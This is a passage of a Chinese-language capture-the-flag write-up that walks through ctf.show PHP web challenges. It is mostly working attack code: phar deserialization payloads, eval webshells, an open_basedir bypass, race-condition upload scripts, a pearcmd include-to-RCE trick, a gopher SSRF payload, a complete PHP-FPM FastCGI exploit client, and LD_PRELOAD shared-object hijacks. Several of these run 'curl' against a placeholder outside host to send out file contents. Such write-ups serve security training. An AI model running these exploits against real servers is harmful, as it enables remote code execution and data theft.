eval(\\$_POST&#91;1]);?&gt;\");\n$phar-&gt;stopBuffering();\n?&gt;\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests  \nurl=\"http:\/\/76aa7571-0a18-46f1-99fc-3b8fcbb4d36f.challenge.ctf.show\/index.php\"\ndata1={'file':'\/tmp\/a.phar','content':open('shell.phar','rb').read()}\ndata2={'file':'phar:\/\/\/tmp\/a.phar\/a','content':'123','1':'system(\"cat f*\");'}\nrequests.post(url,data=data1)\nr=requests.post(url,data=data2)\nprint(r.text)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web804<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nclass hacker{\n    public $code;\n    public function __destruct(){\n        eval($this-&gt;code);\n    }\n}\n\n$file = $_POST&#91;'file'];\n$content = $_POST&#91;'content'];\n\nif(isset($content) &amp;&amp; !preg_match('\/php|data|ftp\/i',$file)){\n    if(file_exists($file)){\n        unlink($file);\n    }else{\n        file_put_contents($file,$content);\n    }\n}\n<\/code><\/pre>\n\n\n\n<p>\u4e00\u773cPhar\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php \n\nclass hacker{\n    public $code=\"system('cat f*');\";\n    public function __destruct(){\n        eval($this-&gt;code);\n    }\n}\n$t=new hacker();\n\n$phar = new Phar('poc.phar');\n$phar-&gt;stopBuffering();\n$phar-&gt;setStub('GIF89a' . '&lt;?php __HALT_COMPILER();?&gt;');\n$phar-&gt;addFromString('test.txt', 'test');\n$phar-&gt;setMetadata($t);\n$phar-&gt;stopBuffering();<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests  \nurl=\"http:\/\/47d5b4bf-9dc6-4aa8-93f1-6d42cf431490.challenge.ctf.show\/index.php\"\ndata1={'file':'\/tmp\/a.phar','content':open('poc.phar','rb').read()}\ndata2={'file':'phar:\/\/\/tmp\/a.phar','content':'123'}\nrequests.post(url,data=data1)\nr=requests.post(url,data=data2)\nprint(r.text)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web805<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n\neval($_POST&#91;1]);<\/code><\/pre>\n\n\n\n<p>open_basedir\u7ed5\u8fc7\uff0c<a href=\"https:\/\/www.cnblogs.com\/hookjoy\/p\/12846164.html\">\u6d45\u8c08\u51e0\u79cdBypass open_basedir\u7684\u65b9\u6cd5<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1=mkdir(1);chdir(1);ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','\/');var_dump(scandir('\/'));<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>1=mkdir(1);chdir(1);ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','\/');readfile('\/ctfshowflag');<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web806<\/h2>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/qq_45570082\/article\/details\/106602261\">\u65e0\u53c2\u6570rce<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?code=eval(end(current(get_defined_vars())));&amp;flag=system('cat \/c*');<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web807<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url = $_GET&#91;'url'];\n\n$schema = substr($url,0,8);\n\nif($schema===\"https:\/\/\"){\n    shell_exec(\"curl $url\");\n}<\/code><\/pre>\n\n\n\n<p>\u53cd\u5f39shell<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?url=https:\/\/;curl http:\/\/url:port?a=`cat \/*`<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web808<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\n$file = $_GET&#91;'file'];\n\n\nif(isset($file) &amp;&amp; !preg_match(\"\/input|data|phar|log\/i\",$file)){\n    include $file;\n}else{\n    show_source(__FILE__);\n    print_r(scandir(\"\/tmp\"));\n}\n<\/code><\/pre>\n\n\n\n<p>\u9884\u671f\u89e3\u80af\u5b9a\u662f<strong>session.upload_progress<\/strong>\uff0c\u4f46ctfshow\u53ea\u6709\u534a\u591c\u6709\u73af\u5883<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport threading\nimport sys\nsession=requests.session()\nsess='yu22x'\nurl1=\"http:\/\/97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show\/\"\nurl2='http:\/\/97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show\/?file=\/tmp\/sess_yu22x'\ndata1={\n    'PHP_SESSION_UPLOAD_PROGRESS':'&lt;?php eval($_POST&#91;1]);?&gt;'\n}\ndata2={\n    '1':'echo 11123;system(\"cat \/*\");',\n}\nfile={\n    'file':'1'\n}\ncookies={\n    'PHPSESSID': sess\n}\ndef write():\n    while True:\n        r = session.post(url1,data=data1,files=file,cookies=cookies)\ndef read():\n    while True:\n        r = session.post(url2,data=data2)\n        if '11123' in r.text:\n            print(r.text)\n\nif __name__==\"__main__\":\n    event=threading.Event()\n    with requests.session() as session:\n        for i in range(1,30): \n            threading.Thread(target=write).start()\n        for i in range(1,30):\n            threading.Thread(target=read).start()\n    event.set()\n<\/code><\/pre>\n\n\n\n<p>\u7b2c\u4e8c\u79cd\u65b9\u6cd5\uff0c\u8ba9\u7a0b\u5e8f\u5d29\u6e83\u7684\u540c\u65f6\u4e0a\u4f20\u6587\u4ef6\uff0c\u90a3\u4e48\u6587\u4ef6\u5c31\u4f1a\u7559\u5728\/tmp\u76ee\u5f55\u4e0b\uff0c\u7f3a\u70b9\u662f\u6ca1\u6587\u4ef6\u540d\u7206\u7834\u8d77\u6765\u5f88\u9ebb\u70e6\uff0c\u4f46\u8fd9\u91cc\u662f\u521a\u597dscandir(&#8220;\/tmp&#8221;)\u4e86\u7684\uff0c\u6240\u4ee5\u76f4\u63a5\u6709\u6587\u4ef6\u540d\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#author:yu22x\nimport requests \nimport re \nurl = \"http:\/\/e34a803b-ce00-4e1e-b585-9bda0198fe37.challenge.ctf.show\/\"\nfile={\n\t'file':'&lt;?php system(\"cat \/*\");?&gt;'\n}\nrequests.post(url+'?file=php:\/\/filter\/string.strip_tags\/resource=\/etc\/passwd',files=file)\nr=requests.get(url)\n#print(r.text)\ntmp=re.findall('=&gt; (php.*?)\\\\n',r.text,re.S)&#91;-1]\nr=requests.get(url+'?file=\/tmp\/'+tmp)\nprint(r.text)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web809<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\n$file = $_GET&#91;'file'];\n\n\nif(isset($file) &amp;&amp; !preg_match(\"\/input|data|phar|log|filter\/i\",$file)){\n    include $file;\n}else{\n    show_source(__FILE__);\n    if(isset($_GET&#91;'info'])){\n        phpinfo();\n    }\n}\n<\/code><\/pre>\n\n\n\n<p>\u559c\u6b22\u6211pearcmd\u5417<\/p>\n\n\n\n<p>\u8bb0\u5f97\u522b\u7528hackbar\uff0c\u4f1a\u5e2e\u4f60\u81ea\u52a8\u7f16\u7801\u7684\uff0c\u7528burpsuite<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=\/usr\/local\/lib\/php\/pearcmd.php&amp;+config-create+\/&lt;?=eval($_POST&#91;1]);?&gt;+\/tmp\/a.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-13-1024x533.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"533\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-13-1024x533.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1974\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web810<\/h2>\n\n\n\n<p><strong>SSRF\u6253PHP-FPM<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/image.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"794\" height=\"458\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/image.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1975\"  sizes=\"auto, (max-width: 794px) 100vw, 794px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u5bf9_\u540e\u9762\u7684payload\u8fdb\u884c\u4e00\u6b21url\u7f16\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?url=gopher:\/\/127.0.0.1:9000\/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web811<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n\n$file = $_GET&#91;'file'];\n$content = $_GET&#91;'content'];\n\nfile_put_contents($file, $content);\n<\/code><\/pre>\n\n\n\n<p><strong>file_put_contents\u6253PHP-FPM<\/strong>\uff0c\u6ca1\u590d\u73b0\u51fa\u6765<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web812<\/h2>\n\n\n\n<p><strong>PHP-FPM\u672a\u6388\u6743<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import socket\nimport random\nimport argparse\nimport sys\nfrom io import BytesIO\n\n# Referrer: https:\/\/github.com\/wuyunfeng\/Python-FastCGI-Client\n\nPY2 = True if sys.version_info.major == 2 else False\n\n\ndef bchr(i):\n    if PY2:\n        return force_bytes(chr(i))\n    else:\n        return bytes(&#91;i])\n\ndef bord(c):\n    if isinstance(c, int):\n        return c\n    else:\n        return ord(c)\n\ndef force_bytes(s):\n    if isinstance(s, bytes):\n        return s\n    else:\n        return s.encode('utf-8', 'strict')\n\ndef force_text(s):\n    if issubclass(type(s), str):\n        return s\n    if isinstance(s, bytes):\n        s = str(s, 'utf-8', 'strict')\n    else:\n        s = str(s)\n    return s\n\n\nclass FastCGIClient:\n    \"\"\"A Fast-CGI Client for Python\"\"\"\n\n    # private\n    __FCGI_VERSION = 1\n\n    __FCGI_ROLE_RESPONDER = 1\n    __FCGI_ROLE_AUTHORIZER = 2\n    __FCGI_ROLE_FILTER = 3\n\n    __FCGI_TYPE_BEGIN = 1\n    __FCGI_TYPE_ABORT = 2\n    __FCGI_TYPE_END = 3\n    __FCGI_TYPE_PARAMS = 4\n    __FCGI_TYPE_STDIN = 5\n    __FCGI_TYPE_STDOUT = 6\n    __FCGI_TYPE_STDERR = 7\n    __FCGI_TYPE_DATA = 8\n    __FCGI_TYPE_GETVALUES = 9\n    __FCGI_TYPE_GETVALUES_RESULT = 10\n    __FCGI_TYPE_UNKOWNTYPE = 11\n\n    __FCGI_HEADER_SIZE = 8\n\n    # request state\n    FCGI_STATE_SEND = 1\n    FCGI_STATE_ERROR = 2\n    FCGI_STATE_SUCCESS = 3\n\n    def __init__(self, host, port, timeout, keepalive):\n        self.host = host\n        self.port = port\n        self.timeout = timeout\n        if keepalive:\n            self.keepalive = 1\n        else:\n            self.keepalive = 0\n        self.sock = None\n        self.requests = dict()\n\n    def __connect(self):\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.settimeout(self.timeout)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        # if self.keepalive:\n        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)\n        # else:\n        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)\n        try:\n            self.sock.connect((self.host, int(self.port)))\n        except socket.error as msg:\n            self.sock.close()\n            self.sock = None\n            print(repr(msg))\n            return False\n        return True\n\n    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):\n        length = len(content)\n        buf = bchr(FastCGIClient.__FCGI_VERSION) \\\n               + bchr(fcgi_type) \\\n               + bchr((requestid &gt;&gt; 8) &amp; 0xFF) \\\n               + bchr(requestid &amp; 0xFF) \\\n               + bchr((length &gt;&gt; 8) &amp; 0xFF) \\\n               + bchr(length &amp; 0xFF) \\\n               + bchr(0) \\\n               + bchr(0) \\\n               + content\n        return buf\n\n    def __encodeNameValueParams(self, name, value):\n        nLen = len(name)\n        vLen = len(value)\n        record = b''\n        if nLen &lt; 128:\n            record += bchr(nLen)\n        else:\n            record += bchr((nLen &gt;&gt; 24) | 0x80) \\\n                      + bchr((nLen &gt;&gt; 16) &amp; 0xFF) \\\n                      + bchr((nLen &gt;&gt; 8) &amp; 0xFF) \\\n                      + bchr(nLen &amp; 0xFF)\n        if vLen &lt; 128:\n            record += bchr(vLen)\n        else:\n            record += bchr((vLen &gt;&gt; 24) | 0x80) \\\n                      + bchr((vLen &gt;&gt; 16) &amp; 0xFF) \\\n                      + bchr((vLen &gt;&gt; 8) &amp; 0xFF) \\\n                      + bchr(vLen &amp; 0xFF)\n        return record + name + value\n\n    def __decodeFastCGIHeader(self, stream):\n        header = dict()\n        header&#91;'version'] = bord(stream&#91;0])\n        header&#91;'type'] = bord(stream&#91;1])\n        header&#91;'requestId'] = (bord(stream&#91;2]) &lt;&lt; 8) + bord(stream&#91;3])\n        header&#91;'contentLength'] = (bord(stream&#91;4]) &lt;&lt; 8) + bord(stream&#91;5])\n        header&#91;'paddingLength'] = bord(stream&#91;6])\n        header&#91;'reserved'] = bord(stream&#91;7])\n        return header\n\n    def __decodeFastCGIRecord(self, buffer):\n        header = buffer.read(int(self.__FCGI_HEADER_SIZE))\n\n        if not header:\n            return False\n        else:\n            record = self.__decodeFastCGIHeader(header)\n            record&#91;'content'] = b''\n            \n            if 'contentLength' in record.keys():\n                contentLength = int(record&#91;'contentLength'])\n                record&#91;'content'] += buffer.read(contentLength)\n            if 'paddingLength' in record.keys():\n                skiped = buffer.read(int(record&#91;'paddingLength']))\n            return record\n\n    def request(self, nameValuePairs={}, post=''):\n        if not self.__connect():\n            print('connect failure! please check your fasctcgi-server !!')\n            return\n\n        requestId = random.randint(1, (1 &lt;&lt; 16) - 1)\n        self.requests&#91;requestId] = dict()\n        request = b\"\"\n        beginFCGIRecordContent = bchr(0) \\\n                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\\n                                 + bchr(self.keepalive) \\\n                                 + bchr(0) * 5\n        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,\n                                              beginFCGIRecordContent, requestId)\n        paramsRecord = b''\n        if nameValuePairs:\n            for (name, value) in nameValuePairs.items():\n                name = force_bytes(name)\n                value = force_bytes(value)\n                paramsRecord += self.__encodeNameValueParams(name, value)\n\n        if paramsRecord:\n            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)\n        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)\n\n        if post:\n            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)\n        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)\n\n        self.sock.send(request)\n        self.requests&#91;requestId]&#91;'state'] = FastCGIClient.FCGI_STATE_SEND\n        self.requests&#91;requestId]&#91;'response'] = b''\n        return self.__waitForResponse(requestId)\n\n    def __waitForResponse(self, requestId):\n        data = b''\n        while True:\n            buf = self.sock.recv(512)\n            if not len(buf):\n                break\n            data += buf\n\n        data = BytesIO(data)\n        while True:\n            response = self.__decodeFastCGIRecord(data)\n            if not response:\n                break\n            if response&#91;'type'] == FastCGIClient.__FCGI_TYPE_STDOUT \\\n                    or response&#91;'type'] == FastCGIClient.__FCGI_TYPE_STDERR:\n                if response&#91;'type'] == FastCGIClient.__FCGI_TYPE_STDERR:\n                    self.requests&#91;'state'] = FastCGIClient.FCGI_STATE_ERROR\n                if requestId == int(response&#91;'requestId']):\n                    self.requests&#91;requestId]&#91;'response'] += response&#91;'content']\n            if response&#91;'type'] == FastCGIClient.FCGI_STATE_SUCCESS:\n                self.requests&#91;requestId]\n        return self.requests&#91;requestId]&#91;'response']\n\n    def __repr__(self):\n        return \"fastcgi connect host:{} port:{}\".format(self.host, self.port)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')\n    parser.add_argument('host', help='Target host, such as 127.0.0.1')\n    parser.add_argument('file', help='A php file absolute path, such as \/usr\/local\/lib\/php\/System.php')\n    parser.add_argument('-c', '--code', help='What php code your want to execute', default='&lt;?php system(\"cat \/flagfile\"); exit; ?&gt;')\n    parser.add_argument('-p', '--port', help='FastCGI port', default=28163, type=int)\n\n    args = parser.parse_args()\n\n    client = FastCGIClient(args.host, args.port, 3, 0)\n    params = dict()\n    documentRoot = \"\/\"\n    uri = args.file\n    content = args.code\n    params = {\n        'GATEWAY_INTERFACE': 'FastCGI\/1.0',\n        'REQUEST_METHOD': 'POST',\n        'SCRIPT_FILENAME': documentRoot + uri.lstrip('\/'),\n        'SCRIPT_NAME': uri,\n        'QUERY_STRING': '',\n        'REQUEST_URI': uri,\n        'DOCUMENT_ROOT': documentRoot,\n        'SERVER_SOFTWARE': 'php\/fcgiclient',\n        'REMOTE_ADDR': '127.0.0.1',\n        'REMOTE_PORT': '9985',\n        'SERVER_ADDR': '127.0.0.1',\n        'SERVER_PORT': '80',\n        'SERVER_NAME': \"localhost\",\n        'SERVER_PROTOCOL': 'HTTP\/1.1',\n        'CONTENT_TYPE': 'application\/text',\n        'CONTENT_LENGTH': \"%d\" % len(content),\n        'PHP_VALUE': 'auto_prepend_file = php:\/\/input',\n        'PHP_ADMIN_VALUE': 'allow_url_include = On'\n    }\n    response = client.request(params, content)\n    print(force_text(response))\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>python2 fpm.py -c '&lt;?php system(\"cat \/f*\");?&gt;' -p 28046 pwn.challenge.ctf.show \/usr\/local\/lib\/php\/System.php\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web814<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\n\n$action = $_GET&#91;'a'];\nswitch ($action) {\n    case 'phpinfo':\n        phpinfo();\n        break;\n    \n    case 'write':\n        file_put_contents($_POST&#91;'file'],$_POST&#91;'content']);\n        break;\n\n    case 'run':\n        putenv($_GET&#91;'env']);\n        system(\"whoami\");\n        break;\n\n    default:\n        highlight_file(__FILE__);\n        break;<\/code><\/pre>\n\n\n\n<p>\u52ab\u6301<strong>getuid<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\nvoid payload(){\n        system(\"curl http:\/\/url:port?s=`cat \/*`\");\n}\nint getuid()\n{\n        if(getenv(\"LD_PRELOAD\")==NULL){ return 0;}\n        unsetenv(\"LD_PRELOAD\");\n        payload();\n}\n\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>gcc -c -fPIC hack.c -o hack&amp;&amp;gcc --share hack -o hack.so<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nurl=\"http:\/\/43af8270-3d9e-416a-8fdb-d1fc1115715b.challenge.ctf.show\/\"\ndata={'file':'\/tmp\/hack.so','content':open('hack.so','rb').read()}\nrequests.post(url+'?a=write',data=data)\nrequests.get(url+'?a=run&amp;env=LD_PRELOAD=\/tmp\/hack.so')\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web815<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nerror_reporting(0);\n\n$action = $_GET&#91;'a'];\nswitch ($action) {\n    case 'phpinfo':\n        phpinfo();\n        break;\n    \n    case 'write':\n        file_put_contents($_POST&#91;'file'],$_POST&#91;'content']);\n        break;\n\n    case 'run':\n        putenv($_GET&#91;'env']);\n        mail(\"\",\"\",\"\",\"\");\n        break;\n\n    default:\n        highlight_file(__FILE__);\n        break;\n} <\/code><\/pre>\n\n\n\n<p>\u7ee7\u7eed\u52ab\u6301\uff0c\u6709\u70b9\u50cf\u8d35\u9633\u90a3\u4e2a\u52ab\u6301\u65b9\u6cd5\uff0c\u5728\u6b63\u5e38\u4ee3\u7801\u6267\u884c\u4e4b\u524d\u6267\u884c\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#define _GNU_SOURCE\n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\nextern char** environ;\n\n__attribute__ ((__constructor__)) void hack(void)\n{\nunsetenv(\"LD_PRELOAD\");\nsystem(\"curl http:\/\/url:port?s=`cat \/*`\");\n}\n\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>gcc -c -fPIC hack.c -o hack&amp;&amp;gcc --share hack -o hack.so<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nurl=\"http:\/\/03e18d36-ea33-478b-8ab2-506f67fb4e3b.challenge.ctf.show\/\"\ndata={'file':'\/tmp\/hack.so','content':open('hack.so','rb').read()}\nrequests.post(url+'?a=write',data=data)\nrequests.get(url+'?a=run&amp;env=LD_PRELOAD=\/tmp\/hack.so')\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web816<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\n\n$env = $_GET&#91;'env'];\nif(isset($env)){\n    putenv($env.scandir(\"\/tmp\")&#91;2]);\n    system(\"echo ctfshow\");\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p>\u6709\u70b9\u50cf\u864e\u7b26ctf\u7684ezphp\uff0c\u8fd8\u662f\u52ab\u6301\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5\u4e0a\u4f20\u6587\u4ef6\u4e86\uff0c\u53ef\u4ee5\u7528\u4e34\u65f6\u6587\u4ef6\u6253\uff0chack.so\u7528\u4e0a\u9898\u90a3\u4e2a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nurl=\"http:\/\/6f1fba1f-43b2-45c8-a34f-cc9c995cde9e.challenge.ctf.show\/?env=LD_PRELOAD=\/tmp\/\"\nfiles={'file':open('hack.so','rb').read()}\nresponse=requests.post(url,files=files)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web817<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>$file = $_GET&#91;'file'];\nif(isset($file) &amp;&amp; preg_match(\"\/^\\\/(\\w+\\\/?)+$\/\", $file)){\n\tshell_exec(shell_exec(\"cat $file\"));\n\n}<\/code><\/pre>\n\n\n\n<p>\u9996\u5148\u8fd9\u91cc\u9650\u5236\u4e86\u53ea\u80fd\u4e3a\/\u5b57\u6bcd\u6570\u5b57\u7684file\uff0c\u6240\u4ee5\u4e0d\u80fd\u7528\u65e5\u5fd7\uff0c\u4e00\u773c\u9876\u9488\u864e\u7b26ezphp\uff0c\u6587\u4ef6\u63cf\u8ff0\/proc\/pid\/fd\/xxx\u53ef\u80fd\u5b58\u5728web\u65e5\u5fd7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import  threading, requests\nimport socket\nimport re\nport= 28108\ns=socket.socket()\ns.connect(('pwn.challenge.ctf.show',port))\ns.send(f'''GET \/ HTTP\/1.1\nHost:127.0.0.1\n\n\t'''.encode())\ndata=s.recv(1024).decode()\ns.close()\npid = re.findall('(.*?) www-data',data)&#91;0].strip()\nprint(pid)\n\ncon=\"curl http:\/\/url:port?a=`cat \/f*`;\"+'0'*1024*500\nl = len(con)\ndef upload():\n\twhile True:\n\t\ts=socket.socket()\n\t\ts.connect(('pwn.challenge.ctf.show',port))\n\t\tx=f'''POST \/ HTTP\/1.1\nHost: 127.0.0.1\nContent-Length: {l}\nContent-Type: application\/x-www-form-urlencoded\nConnection: close\n\n{con}\n\n\t\t'''.encode()\n\t\ts.send(x)\n\t\ts.close()\n\ndef bruter():\n\twhile True:\n\t\tfor fd in range(3,40):\n\t\t\tprint(fd)\n\t\t\ts=socket.socket()\n\t\t\ts.connect(('pwn.challenge.ctf.show',port))\n\t\t\ts.send(f'''GET \/?file=\/proc\/{pid}\/fd\/{fd} HTTP\/1.1\nHost: 127.0.0.1\nConnection: close\n\n'''.encode())\n\t\t\tprint(s.recv(2048).decode())\n\t\t\ts.close()\n\n\nfor i in range(30):\n    t = threading.Thread(target=upload)\n    t.start()\nfor j in range(30):\n    a = threading.Thread(target=bruter)\n    a.start()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web818<\/h2>\n\n\n\n<p>\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u56e0\u4e3a\u5927\u4e00\u5bf9\u864e\u7b26ctf ezphp\u5370\u8c61\u592a\u6df1\u523b\u4e86\uff0c\u611f\u89c9\u6bcf\u4e2a\u52ab\u6301\u9898\u90fd\u50cf\u5b83<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$env = $_GET&#91;'env'];\nif(isset($env)){\n\tputenv($env);\n\tsystem(\"echo ctfshow\");\n}else{\n\tsystem(\"ps aux\");\n}<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u8bf4\u548c\u90a3\u4e2a\u9898\u4e00\u6a21\u4e00\u6837\u4e86\uff0chack.so\u7528\u4e4b\u524d\u90a3\u4e2a\u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># coding: utf-8\n\nimport urllib.parse\nimport  threading, requests\nimport socket\nimport re\nport= 28107\ns=socket.socket()\ns.connect(('pwn.challenge.ctf.show',port))\ns.send(f'''GET \/ HTTP\/1.1\nHost:127.0.0.1\n\n\t'''.encode())\ndata=s.recv(1024).decode()\ns.close()\npid = re.findall('(.*?) www-data',data)&#91;0].strip()\nprint(pid)\nl=str(len(open('hack.so','rb').read()+b'\\n'*1024*200)).encode()\ndef upload():\n\twhile True:\n\t\ts=socket.socket()\n\t\ts.connect(('pwn.challenge.ctf.show',port))\t\n\t\tx=b'''POST \/ HTTP\/1.1\nHost: 127.0.0.1\nUser-Agent: yu22x\nContent-Length: '''+l+b'''\nContent-Type: application\/x-www-form-urlencoded\nConnection: close\n\n'''+open('hack.so','rb').read()+b'\\n'*1024*200+b'''\n\n'''\n\t\ts.send(x)\n\t\ts.close()\n\ndef bruter():\n\twhile True:\n\t\tfor fd in 